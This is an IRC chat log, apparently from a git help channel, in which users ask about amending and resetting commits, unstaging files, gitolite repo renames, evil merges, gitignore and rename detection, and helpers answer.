jarlopez _ikke_, qsuscs: Thanks, peeps, exporting it to /usr/libexec/git-core did it20:43
WormDrink joined20:43
Suchit_ left20:43
zhangxaochen joined20:44
Suchit_ joined20:44
Suchit_ left20:44
dort joined20:45
dangerousdave left20:45
ni__ left20:45
mihaicris_ left20:45
Suchit_ joined20:45
pierre1_ joined20:46
Sasazuka joined20:46
justinmburrous joined20:46
aswen left20:47
xbrantes left20:48
xbrantes joined20:48
jonmorehouse left20:49
jack_orange left20:49
Suchit_ left20:49
studmuf left20:50
jonmorehouse joined20:50
ni__ joined20:50
sokoll hey folks, I have a question about renaming git repos20:51
iamjarvo left20:51
Manny joined20:51
dort left20:51
xbrantes Hi, I would like to know how to remove a file from previous commits, can anyone help me out?20:51
Manny left20:52
spareproject left20:52
_ikke_ sokoll: You can just rename them, git has no reference to them20:52
xbrantes: last commit, ealier commits?20:52
sokoll _ikke_: well, the git server uses gitolite, but it looks like the particular repo that I've been asked to rename isn't in the gitolite config20:53
hoijui joined20:54
ni__ left20:54
ni__ joined20:55
baweaver left20:55
iamjarvo joined20:56
iamjarvo left20:56
sinkensa_ left20:56
iamjarvo joined20:56
Manny_ joined20:56
tpollard joined20:57
baweaver joined20:57
yosito joined20:57
punchagan joined20:57
aswen joined20:57
sokoll anyone on here able to help me?20:57
xbrantes earlier20:57
sry about the delay20:57
xender xbrantes: First, you may need to !rewrite if you've pushed those commits20:58
gitinfo xbrantes: Rewriting public history is not recommended. Everyone who has pulled the old history have to do work (and you'll have to tell them to), so it's infinitely better to just move on. If you must, you can use `git push -f <remote> <branch>` to force (and the remote may reject that, anyway). See http://goo.gl/waqum20:58
akitada__ left20:58
jarlopez left20:58
punchagan left20:58
baweaver left20:58
xender xbrantes: You can use rebase, filter-branch or BFG repo cleaner, depending on needs (scale of rewriting)20:58
alphonse23 left20:59
ggherdov left20:59
aswen hi there, I've just commited with -a while I wanted to commit only one file. Is there a "uncommit" or so that doesn't break my other work?20:59
qsuscs aswen: have you pushed already?20:59
zumba_addict joined20:59
baweaver joined21:00
xender sokoll: I don't know much about gitolite, but won't replacing every occurrence of old repo name with new one in config (+renaming the folder ofc.) do?21:00
angico left21:00
juvenal left21:00
jottr_ joined21:00
xbrantes thanks, I'm checking the link21:00
alphonse23 joined21:00
akitada__ joined21:00
xender aswen: git reset --mixed or --soft21:00
angico joined21:01
pheaver left21:01
sokoll xender: I'm not sure21:01
tesaf left21:01
sokoll xender: if the repo was initially created using gitolite, I think you have to rename it through gitolite, but I'm not sure how it was created initially. It seems odd that it isn't in the gitolite.conf file when all the other repos for that company are...21:02
dccc_ left21:03
ciampix left21:03
ni__ left21:03
aswen qsuscs: no I haven't21:03
will try what xender suggests21:03
qsuscs aswen: man git commit --amend21:03
gitinfo aswen: the git-commit manpage is available at http://jk.gs/git-commit.html21:03
qsuscs aswen: in case it’s the topmost/latest commit21:03
aswen it is21:04
can --ammend do that? wauw21:04
let's try...21:04
souther left21:04
aswen brb21:04
cannonball left21:04
zumba_addict left21:05
in_deep_thought left21:05
Sample joined21:05
FunkyAss left21:05
xender sokoll: Don't do that if breaking something will be bad, but please have in mind that git is not that black box. I don't know Gitolite, but it may be that "creating repo through gitolite" is only convenience feature and doesn't enforce renaming through it.21:05
paulweb515 joined21:05
souther joined21:05
it0a left21:06
sokoll xender: perhaps21:06
dgpalmer left21:06
Marcus___ joined21:06
zapb_ left21:06
vurma left21:07
punchagan joined21:07
dangerousdave joined21:08
qsuscs sokoll: http://gitolite.com/gitolite/gitolite.html#removingrenaming-a-repo21:08
aswen xender: thanx! that worked great with --soft21:08
jonmorehouse left21:08
kerrick joined21:08
sokoll qsuscs: thanks :) problem is though, that the repo isn't in the gitolite conf, but from the users request, they think that it is21:08
dgpalmer joined21:09
aswen I first tried --amend but I didn't find a way to remove the files I didn't want to commit from that commit21:09
Marcus_ left21:09
baweaver left21:09
jonmorehouse joined21:09
xender aswen: You have to unstage it. I think that git reset <filename> was the right command...21:09
ggherdov joined21:10
qsuscs xender: git rm --cached … and there was something with git checkout --21:10
JohnBat26 joined21:10
Bash776 left21:10
qsuscs xender: now i’m getting confused as well.21:10
xender aswen: I use git gui to stage/unstage files/hunks/lines most of the time, so I'm not sure about commandline unstaging21:10
robertt_dex left21:10
xender aswen, qsuscs: Oh, sorry. It was "removing files", not "unstaging changes"...21:11
baweaver joined21:12
tristanp left21:13
zumba_addict joined21:13
pheaver joined21:13
nanga left21:13
mhi^ left21:13
xender aswen: Well, removing the file in git can be done either by git rm --cached (without deleting file in working copy), or - if you want to remove file both in working copy and the index - git rm (without flag) or normal rm + git add21:13
javster joined21:14
KrunchyAl joined21:14
zumba_addict left21:14
qsuscs git—it’s all about choice21:14
KrunchyAl left21:14
xender aswen: Standard "git tracks changes, not files" stuff. Deletion of a file is also a change, so you need to git add it.21:14
IlNominePatre left21:14
Fomina left21:14
xender qsuscs: :P21:14
msmith left21:15
xender I wanted to say that git rm or git mv are convenience commands, no magic inside21:15
qsuscs mercurial has hg addremove21:15
xender Is there a hg add command in there then?21:15
qsuscs but mercurial doesn’t have an index, so hg add/remove is like svn add/remove21:15
xender It doesn't have? o_O21:16
Yomi left21:16
xender That's quite a big difference21:16
in_deep_thought joined21:16
mhi^ joined21:16
qsuscs xender: it has the dirstate, which is basically the same, but you don’t handle it21:16
xender What do you mean by "you don't handle it"?21:16
qsuscs xender: hg init; vim file; hg add file; hg commit; while true; do vim file; hg commit; end21:16
hcc23 left21:17
nanga joined21:17
xender Ok...21:17
iliketurtles joined21:17
qsuscs xender: the dirstate represents the new commit, just like the index, but you don’t change it by yourself (like git add and stuff do)21:17
justinmburrous left21:17
xender No way to explicitly tell "commit only those hunks/lines"?21:18
Or do you have to specify all of them in actual commit command in some interactive way?21:18
Drool joined21:18
qsuscs xender: there is the hg record extension (which works like darcs record, that is, git add -p and git commit tied together), and some weird stuff called queues21:18
Kicer86 left21:18
xender Hmm21:19
Droolio left21:19
qsuscs or shelve extension (aka git stash)21:19
xender I know almost nothing about Darcs. Nor about queues21:19
Yomi joined21:20
Gregoire_ left21:20
xender I've heard of "floating patches" in hg21:20
studmuf joined21:21
qsuscs xender: i don’t get queues either, you can have a look at http://mercurial.selenic.com/wiki/MqExtension21:21
and that one for hg record http://mercurial.selenic.com/wiki/RecordExtension21:21
mennea left21:21
iamjarvo left21:22
logix812 left21:22
Ankhers left21:22
mennea joined21:22
jottr_ left21:22
qsuscs xender: and this is hg’s “index” http://mercurial.selenic.com/wiki/DirState21:22
lsiv568 left21:22
AKK9 left21:23
zhangxaochen left21:23
tbxyz left21:23
PinkSpecs joined21:24
zhangxaochen joined21:24
burhan_ left21:24
burhan_ joined21:26
aswen xender: I had it commited already21:26
RogerWS left21:26
jottr_ joined21:26
aswen not staged for commit21:26
xender aswen: Same thing when amending21:26
Pyrogerg left21:26
aswen aha now i get it21:27
thanks for explanation21:27
xp_prg left21:27
shinnya left21:27
jonmorehouse left21:28
xender aswen: If you have working git gui, you can see that in there21:28
revyd left21:28
ciampix joined21:28
nuck left21:28
palcu left21:29
xender If you'll select "amend" option above that text area for commit message on the bottom, you can see how it differently visualizes stuff from previous commit as "added"21:29
palcu joined21:29
eMyller joined21:30
xender aswen: This is because commits and index are both snapshots, so displaying changes is matter of having both diffed. When you amend, you replace HEAD commit with another one, instead of building new one atop of HEAD, as usual21:31
kevin-brown left21:31
nuck joined21:31
kevin-brown joined21:31
liamkeily joined21:31
mustafavelioglu left21:31
boombatower joined21:32
shinnya joined21:32
asakura joined21:33
LLaurent left21:33
WaReZ left21:33
palcu left21:33
TheFuzzball joined21:34
buffal0 left21:34
RogerWS joined21:35
epifanio left21:35
zumba_addict joined21:36
jottr_ left21:36
iliketurtles left21:37
epifanio joined21:38
jave left21:39
mhi^ left21:39
neunon left21:39
jave joined21:40
mhi^ joined21:40
neunon joined21:40
zumba_addict left21:41
PinkSpecs left21:41
zumba_addict joined21:42
Cork joined21:43
jottr_ joined21:43
chrisgeo joined21:44
jerius left21:45
JohnBat26 left21:46
gmb2020 left21:46
iamjarvo joined21:46
revyd joined21:46
chrisgeorge left21:47
jgardella joined21:48
kukks left21:48
zumba_addict left21:48
zumba_addict joined21:49
ojacobson left21:50
JohnBat26 joined21:51
mennea left21:51
JohnBat26|2 joined21:52
ghostlines left21:52
yosito left21:52
mennea joined21:52
JohnBat26|2 left21:53
JohnBat26 left21:53
tranzfuse left21:53
Stranger joined21:54
StrangerGuest6000021:54
eMyller My colleague has made changes in a file X. But then he pulled latest history and his changes are gone. I reviewed the log since his commit many times, but I can't find where his changes were reverted. Can any of you help me, please?21:55
jonmorehouse joined21:55
qsuscs eMyller: man git blame21:55
gitinfo eMyller: the git-blame manpage is available at http://jk.gs/git-blame.html21:55
jiskiras joined21:56
jgardella left21:56
jgardella joined21:56
adamonline45 joined21:56
AaronMT left21:57
eMyller qsuscs: Thanks, but I don't think blame can help... He added 3 lines, but these 3 lines are now just gone.21:57
spareproject joined21:57
jgardella left21:57
jgardella joined21:58
holydevil joined21:58
jgardella left21:58
qsuscs eMyller: how easily can you identify them? like, git log -p in a file and search in it—probably a somewhat dirty hack, but why not …21:58
jgardella joined21:59
iamtakingiteasy left21:59
mennea left21:59
iamjarvo left21:59
zumba_addict left21:59
eMyller qsuscs: I ran git log -p, and the last commit it shows is his (which adds 3 lines). But my tree is now clean, and those 3 lines aren't there. Can you believe it? :/21:59
ncd|leeN joined22:00
jargon left22:00
qsuscs eMyller: sure it is the commit you are at (git rev-parse HEAD)22:00
zumba_addict joined22:00
jceb left22:01
treehug88 left22:01
leeN left22:02
eMyller qsuscs: Yes. I just found out what happened though.22:02
Someone has merged in a new history, reverting his changes.22:02
parcs joined22:02
parcs hallo22:02
eMyller But it's weird how git log doesn't show me that.22:02
toothrot joined22:03
Zupoman left22:03
adamonline45 Hi all! This may be outside of git itself (I'm in SourceTree), if so, lemme know! Basically, if I start with a line "abcde" and change the line to "racer", git thinks I deleted the letters 'b' and 'd', and appended the two 'r's. Is there a way I can make it think I deleted "abcde" and added "racer"? It's like it's overly preservational...22:03
On a larger scale, this makes selective staging a nightmare...22:03
qsuscs eMyller: !evil_merge22:04
gitinfo eMyller: What you describe _can_ be done, but results in an "evil merge": a commit that purports to be a merge, but does not actually take all changes from all sides. This violates the assumptions that tools and humans make about merges, and usually results in confusion and pain down the road.22:04
pheaver left22:04
King_Hual left22:04
jgardella left22:04
Padawan joined22:05
gitinfo set mode: +v22:05
jonmorehouse left22:06
parcs does anybody have an idea on how to have git normalize/resolve the branch "origin/HEAD" to "origin/master" (or to whatever branch HEAD points to in the "origin" remote)?22:06
thedodd left22:06
justinmburrous joined22:07
qsuscs parcs: because origin/HEAD points to origin/master, see e.g. git ls-remote origin HEAD22:07
parcs i would like to be able to do "git show origin/HEAD@{1}" but that does not work because origin/HEAD does not have a reflog. so instead i would like to do "git show $(git-resolve origin/HEAD)@1" where git-resolve is the magic invocation22:07
qsuscs parcs: whoops—ls-remote goes a step too far22:07
jiskiras left22:08
Dreadnaught joined22:08
Dreadnaught left22:08
Dreadnaught joined22:08
parcs its output doesn't seem to refer to "master" at all for me22:08
aswen left22:08
a_le_ left22:09
qsuscs parcs: git rev-parse --symbolic-full-name origin/HEAD22:09
a_le joined22:09
Pyrogerg joined22:09
Guest60000 left22:10
parcs qsuscs: awesome, thank you! seems to work perfectly.22:11
Padawan hey, I'm pretty new to git and im running into some untracked problems. http://i.imgur.com/deZLx9K.png I can prevent future problems adding those folder under ignore, but how can i fix it right now?22:11
nnyk left22:11
a_le left22:11
EminenceHC left22:11
RogerWS left22:11
stevenvalladolid left22:12
parcs qsuscs: passing --symbolic instead of --symbolic-full-name seems to do the trick too. why'd you choose the latter?22:12
a_le joined22:12
parcs oh, never mind. --symbolic actually doesn't work properly.22:12
osse Padawan: add them to gitignore right now22:12
Neozonz|Disc left22:12
osse Padawan: but: what is there to fix?22:13
qsuscs parcs: less ambuguity, see man git rev-parse22:13
gitinfo parcs: the git-rev-parse manpage is available at http://jk.gs/git-rev-parse.html22:13
remington_forbes left22:13
parcs yeah i see that now. thanks again qsuscs22:13
remington_forbes joined22:14
Mobutils left22:14
BlaXpirit left22:15
burhan_ left22:15
Padawan osse: i mean this annoying message every time i do a status? Or if i ignore the parents will it vanish?22:15
EminenceHC joined22:15
mikecmpbll left22:16
fairuz left22:16
eMyller Thank you qsuscs. It's all crystal clear now.22:16
frogonwheels_ left22:16
javster left22:17
osse Padawan: if you ignore it will vanish22:17
dangerousdave left22:17
eMyller left22:17
adamonline45 left22:17
mtscout6 joined22:17
osse Padawan: you don't even have to commit the ignore file or it to work. Or: you can .git/info/exclude instead of .gitignore22:17
*for it to work22:17
hahuang65 left22:17
Padawan thanks osse, i gotta have to take a look into both cuz i never ignored anything in my git life yet *,*22:18
Mobutils joined22:18
Padawan but im loving my git life so far22:18
rofl22:18
osse man gitignore is your friend22:18
gitinfo the gitignore manpage is available at http://jk.gs/gitignore.html22:18
livingstn left22:20
afhammad joined22:20
EminenceHC left22:20
hs366 left22:21
jgardella joined22:21
Mobutils left22:21
ropav left22:21
revyd left22:21
jgardella left22:22
mikecmpbll joined22:22
asakura left22:23
bAnt left22:23
liamkeily1 joined22:23
chrisgeo left22:23
chelly left22:24
jottr_ left22:24
zhangxaochen left22:24
Celm joined22:24
mtscout6 left22:24
jgardella joined22:24
liamkeily left22:24
KAJ joined22:24
zhangxaochen joined22:24
baweaver left22:25
ValicekB left22:25
asakura joined22:25
ockham left22:25
Padawan left22:26
KAJ_ joined22:26
a_le left22:26
sandr8 joined22:26
kermit left22:27
a_le joined22:27
FofG left22:27
kermit joined22:28
in_deep_thought left22:28
sysvalve joined22:28
KAJ left22:28
soulwaves left22:28
msankhala left22:29
in_deep_thought joined22:29
Cheaterman1 left22:29
kukks joined22:30
sandr8 left22:31
jgardella left22:32
baweaver joined22:32
acharlie_ left22:34
Celm left22:34
refried_ joined22:34
zumba_addict left22:34
thiago left22:34
P4_Denis joined22:35
Celm joined22:36
hoijui left22:36
justinmburrous left22:36
axl_ left22:37
ErKa left22:37
RogerWS joined22:37
ValicekB joined22:37
KAJ_ left22:38
jgardella joined22:38
beastd left22:39
ni__ joined22:39
TDJACR joined22:39
refried_ left22:39
Pyrogerg_ joined22:39
P4_Denis left22:39
Pyrogerg left22:40
gmb2020 joined22:40
refried_ joined22:43
ColKurtz left22:44
zhangxaochen left22:44
mnavratil left22:44
zhangxaochen joined22:45
anaran joined22:45
mikecmpbll left22:45
ojacobson joined22:45
kriks left22:46
Fabioagain left22:46
veebers left22:47
veebers joined22:47
kpease left22:47
imkmf left22:48
iliketurtles joined22:48
govg joined22:49
kaendfinger left22:51
ni__ left22:51
Manny_ left22:52
Manny joined22:52
kaendfinger joined22:52
Baluse joined22:53
skinux joined22:53
sdrfnord1 left22:54
imkmf joined22:54
Skapadapaduu left22:55
hahuang65 joined22:56
stwalcher left22:57
ColKurtz joined22:58
desposo left22:58
gmb2020 left22:58
nettoweb left22:59
stevenvalladolid joined22:59
in_deep_thought left22:59
fling left23:00
ojacobson left23:02
evil-twin left23:03
desposo joined23:03
monokrome joined23:03
Ankhers joined23:03
monokrome left23:03
anaran left23:03
Pyrogerg_ left23:04
xolubi joined23:04
Marcus___ left23:04
zhangxaochen left23:04
Marcus_ joined23:05
msmith joined23:05
zhangxaochen joined23:05
LeMike I do `git reset -- file` to remove a file from staging and `git add -e` to partially add it again. right?23:06
monokrome joined23:06
monokrome left23:06
in_deep_thought joined23:06
imkmf left23:06
neonixcoder joined23:08
Wiz_KeeD left23:08
refried_ left23:08
monokrome joined23:08
ag4ve left23:08
neonixcoder left23:09
Marcus_ left23:09
dsdeiz joined23:09
ErKa joined23:10
justinmburrous joined23:11
osse LeMike: add -p23:11
wakd left23:11
osse ohhhh23:11
heh, didn't know about add -e23:11
I guess it's the same as add -p and then pressing e23:11
robzilla left23:12
chelly joined23:12
paul424 left23:12
nerddork69420 joined23:12
skinux left23:13
toothrot left23:13
neonixcoder joined23:13
Ankhers left23:14
GinoMan left23:14
akushner_ joined23:15
skinux joined23:15
skinux How can I remove a commit? I accidentally commited locally when I meant to do it remotely.23:15
osse skinux: that doesn't make sense. you can only commit locally23:16
cn28h remove it like forget it ever happened?23:16
monokrome left23:16
skinux Oh, so I have to commit locally in order to put something on a remote git repo?23:16
osse yes23:16
LeMike hm. after several tries I finaly managed to add only a part of the file :/ thanks osse23:16
osse you make a commit and then you push23:16
Robarelli left23:17
skinux And 'origin' is changed to the name of the project?23:18
EminenceHC joined23:18
FofG joined23:19
osse no23:19
Gamecubic_ joined23:19
osse git repos don't have names.23:19
'origin' refers to wherever you cloned from. you can rename it if you wish. git doesn't care.23:19
'origin' more or less only acts as an alias for the URL to the repo.23:20
LeMike gosh I didn't osse. in `git status` is see the file in staging and unstaged so it's half-hacked I gues - ok. but after `git commit` the full change will be commited... grml23:20
monokrome joined23:20
osse LeMike: did you write git commit path/to/file?23:20
madewokherd joined23:20
xbrantes left23:21
smccarthy left23:22
mhite joined23:22
Gamecubic left23:22
asakura left23:23
EminenceHC left23:23
LeMike osse: yee23:23
osse LeMike: i gotta go. the point is this: if you have added something and run git commit, only those things are supposed to be commited. but if you write git commit file(s) then only that file or those files will be committed, in full23:23
pcypher_ joined23:23
osse it's easier to imagine that git commit doesn't accept filenames23:23
ColdKeyboard left23:24
mhite When I 'git add' a file, it is detecting it as a rename. I would like it not to -- any idea how to disable this heuristic?23:24
asakura joined23:24
LeMike hm. okay. thanks osse. that's where I did it wrong. simple and dumb mistake23:25
zhangxaochen left23:25
ncd|leeN left23:25
osse mhite: the heuristic is only for presentational purposes. it doesn't matter for the actual repo itself23:25
x0s_ joined23:25
zhangxaochen joined23:25
osse mhite: try git config diff.renames false23:26
mhite osse: i ripped a bunch of code out from a program and threw it into a library, but now it thinks the library is actually a renamed version.23:26
kirin` left23:26
pcypher left23:27
osse ok. there are ways to change how git presents that stuff. just know that it doesn't really matter.23:27
kirin` joined23:27
osse git diff by default won't do it, for example. there you have to use --find-renames23:27
afhammad left23:27
bezet joined23:27
mhite osse: interesting. tried the 'git config diff.renames false' but git status still thinks it is a rename23:28
osse then i don't know23:28
afhammad joined23:28
mhite thanks for your suggestion23:28
xabrantes joined23:29
osse mhite: git tracks snapshots, not deltas or stuff like that. So when git sees that one file disappeared and then another fiel appeared which is completely simlar, git will in some circumstances call it a "rename" and present it as such.23:29
neonixcoder left23:29
osse but that's about it.23:29
mhite osse: which is a head scratcher, because part of the same staging is the file it thinks is renamed.23:30
osse huh?23:30
mhite https://gist.github.com/anonymous/b00c8e6168be1d4b744c23:30
TheFuzzball left23:30
osse did you copy it?23:31
or: did you copy AND change it?23:31
ropav joined23:31
xabrantes left23:31
mhite osse: dashboard.py contains code that used to be in effivedash.py.23:31
kaendfinger left23:31
osse ahh23:32
xabrantes joined23:32
osse my guess: more than 50%23:32
mhite osse: changes were then made to effivedash.py to import dashboard.py23:32
bezet left23:32
mhite osse: and of course the old code now in dashboard.py was removed from effivedash.py23:32
osse git diff --staged will tell you the truth23:32
afhammad left23:33
mhite osse: i basically just wanted git to see dashboard.py as a totally new file [which it is, but has contents that used to live in effivedash.py]23:33
thumpba left23:33
osse git does see it's a new file. that's what I'm trying to tell you23:33
pcypher_ left23:33
msmith left23:33
osse Git is just trying to be "human" and present something as a rename because in most cases it actually is.23:33
refried_ joined23:34
mhite osse: ah, ok! sorry for my confusion. i know enough git to be dangerous, and that's about it.23:34
pcypher joined23:34
numdig left23:34
osse if git status did not say that (maybe there's a way to configure that; or at least there should be) the end result would be the same.23:34
"end result" meaning the commit you create once you run git commit23:35
mhite ok, sounds good! thank you.23:35
osse mhite: but my hat's off to you. I've never seen this precise case before :p23:36
hexagoxel_ joined23:36
mhite osse: i try ;)23:36
liamkeily1 left23:36
mhite osse: final question... if git does nothing special with the move information, why is there a git mv command?23:37
osse mhite: it's shorthand for git rm && git add23:37
upene left23:37
osse it's just there for convenience, I suppose23:37
there doesn't really have to be a git rm command either. a regular rm + git add is enough23:37
pcypher left23:38
mhite cool, thanks!23:38
ColKurtz left23:38
Hello71 strictly speaking, rm && git add has a race condition where the file is created again between the calls23:38
hebz0rl left23:39
tmug left23:39
hexagoxel left23:39
Hello71 and git rm --cached is more work23:39
mustafavelioglu joined23:41
osse mhite: my guess is this: you moved so much code from effivedash.py to dashboard.py that it was above the heuristic threshold thingy (which I believe is 50%). Therefore git says it's a rename (it doesn't *think* it is). However, what's left of effivedash.py is still present. And it's obviously modified, so...23:41
justinmburrous left23:41
osse mhite: maybe there should be some extra logic in git status for that case.23:41
iamjarvo joined23:42
iamjarvo left23:42
iamjarvo joined23:42
robarelli joined23:42
mhite osse: yeah, makes sense23:42
iamjarvo left23:42
punchagan left23:43
iamjarvo joined23:43
osse ah well. time for bed.23:44
fling joined23:44
osse that time was two hours ago :/23:44
neonixcoder joined23:44
robzilla joined23:44
robarelli left23:44
nardev left23:44
mhite thanks again for your help osse23:45
zhangxaochen left23:45
magic left23:45
gfixler left23:45
zhangxaochen joined23:46
it0a joined23:46
braj joined23:46
magic_ joined23:47
liamkeily joined23:47
osse de nada23:47
Mixologic joined23:47
afhammad joined23:48
robzilla left23:49
gmb2020 joined23:49
afhammad left23:50
x0s_ left23:51
neonixcoder left23:52
knownasilya left23:53
daedeloth left23:53
hahuang65 left23:53
juvenal joined23:55
neonixcoder joined23:55
sgen joined23:56
it0a left23:58
iliketurtles left23:59
sysvalve left23:59
mueslo_ left23:59

Logs Search ←Prev date Next date→ Channels Documentation